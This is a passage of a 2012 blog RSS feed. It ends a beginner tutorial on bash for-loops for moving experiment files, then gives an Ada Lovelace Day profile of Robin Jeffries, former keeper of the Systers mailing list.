It iterates over whatever you gave it in ` ... ` putting each item in $a as it goes through.  In this case, each $a is one of the found filenames.   You can do away with the backticks all together if you just want a list of filenames that you could get from ls, though.  If I&apos;d wanted to move all my repair.debug.* output files, I could have done &lt;code&gt;for a in repair.debug.*; do mv $a output/; done&lt;/code&gt; -- no backticks!  I do this all the time for moving files out of my way before I start a new experiment, using directories with the date to keep track of what ran when.&lt;br /&gt;&lt;br /&gt;Another useful command to put in there other than a grep is `seq 10` which will give you a standard counted for loop that goes up to 10.   Very useful when I want my computer run an experiment 10 times while I go to lunch! &lt;br /&gt;&lt;br /&gt;&lt;code&gt;echo $a&lt;/code&gt;&lt;br /&gt;I almost always run a version of the loop with *just* &quot;echo $a&quot; in the middle before I make one that does anything, just as a sanity check to make sure I got the expression right and I am actually doing stuff to the right files.  I usually leave it in the final version so I can scan the output easily and see what was done.  Sometimes I actually output the whole command as an echo for debug purposes&lt;br /&gt;&lt;br /&gt;&lt;code&gt;mv $a notfound/&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;The easy part: moving each file that matched into my notfound/ directory.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And... there you have it!  A quick way to move a set of files out of your way and a little bit about how to automate other repetitive tasks on the command line.  Probably obvious to many, but who knows, maybe this is exactly the script that someone else needs.&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=109733&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/109733.html</comments>
  <category>scripting</category>
  <category>hack</category>
  <category>geek</category>
  <lj:security>public</lj:security>
  <lj:reply-count>3</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/109270.html</guid>
  <pubDate>Tue, 16 Oct 2012 10:43:19 GMT</pubDate>
  <title>Ada Lovelace Day profile: Robin Jeffries, Her Systers Keeper Emeritus and HCI expert</title>
  <link>http://terriko.dreamwidth.org/109270.html</link>
  <description>&lt;em&gt;&lt;a href=&quot;http://findingada.com/about/&quot;&gt;Ada Lovelace Day&lt;/a&gt; aims to raise the profile of women in science, technology, engineering and maths by encouraging people around the world to talk about the women whose work they admire. This international day of celebration helps people learn about the achievements of women in STEM, inspiring others and creating new role models for young and old alike.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;When I first met Robin Jeffries, I had no idea how important she was.  My friend &lt;a href=&quot;http://terriko.dreamwidth.org/24972.html&quot;&gt;Jen&lt;/a&gt; said, &quot;hey, you need to talk to Robin about this&quot; and the three of us sat down and chatted about technical stuff for an hour or so in the middle of a busy conference.  It didn&apos;t hit me until much later that I&apos;d just spent a time geeking it up with a woman who half the women at GHC would have loved to shake hands with, let alone get a whole lunch with.&lt;br /&gt;&lt;br /&gt;Robin has just retired as Her Systers Keeper, &lt;a href=&quot;http://anitasquilt.org/2012/09/06/3600-of-my-closest-online-friends/&quot;&gt;a role she took over from Anita Borg when Anita&apos;s health was failing&lt;/a&gt;.  She&apos;s not wrong in calling managing a community like this a job of cat herding, but with her guidance Systers has long been a list with an unusually high signal to noise ratio, and one that many technical women turn to when they need advice, want to share a story, or want to rant about the latest news piece about women in computing.   I started realizing how much of a role model Robin herself has been to so many when I&apos;d mention her and people would go, &quot;wait, you know Robin Jeffries?  I&apos;ve always wanted to meet her in person!&quot;  These were women who were inspired by the stories she shares and her ability to get to the heart of the matter when it comes to the experience of technical women.  &lt;br /&gt;&lt;br /&gt;I&apos;ve been fortunate enough to work with Robin doing Google Summer of Code mentoring for Systers, where we&apos;ve been doing modifications on an open source project dear to my heart, GNU Mailman.  She&apos;s got an uncanny ability to find good chunks of technical work that our students can manage, a knack for inspiring the people she works with, a good system for managing us all and keeping us to our deadlines, and every time we sit down to talk about how to fix a problem she impresses me with her insights into better architectures and designs.  I&apos;ve rarely had the chance to work with someone of Robin&apos;s experience in human computer interaction (&lt;a href=&quot;http://anitasquilt.org/authors/robin-jeffries/&quot;&gt;read her bio&lt;/a&gt;, but in short, she&apos;s crazy accomplished and I probably would have been way intimidated if I&apos;d known how much so when I first met her).  I&apos;m constantly in awe of how easily she not only applies that experience, but how good she is at conveying it to others and how willing she is to share her skills.   &lt;br /&gt;&lt;br /&gt;We&apos;re probably all benefiting from her knowledge as she applies it to her job at Google, but it&apos;s the more direct personal experiences that really get me.  For example, despite being in great demand with the Systers 25th anniversary celebrations at GHC12 this year, she came out to help me run Open Source Day activities for women interested in hacking with Systers and Mailman, quickly adopting a whole table of prospective volunteers and walking them through the first stages of evaluating and contributing to an open source project.   She regularly makes me wish I&apos;d spent more time studying HCI myself, and forces me to re-evaluate how I design software.  We&apos;ve got one big feature we want to see in Mailman and I&apos;m really looking forwards to working with her on making it happen.&lt;br /&gt;&lt;br /&gt;I admire Robin for her amazing technical expertise, for her support of women in computing, and for her ability to balance the two as part of her own busy life for so many years.  It has most definitely been my privilege to work with such an amazingly talented woman, and I hope that some day I can approach her level of professional and personal accomplishment.&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=109270&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/109270.html</comments>
  <category>social hacking</category>
  <category>systers</category>
  <category>ada lovelace day</category>
  <category>women</category>
  <category>ghc</category>
  <category>gsoc</category>
  <category>ghc12</category>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
</channel>
</rss>
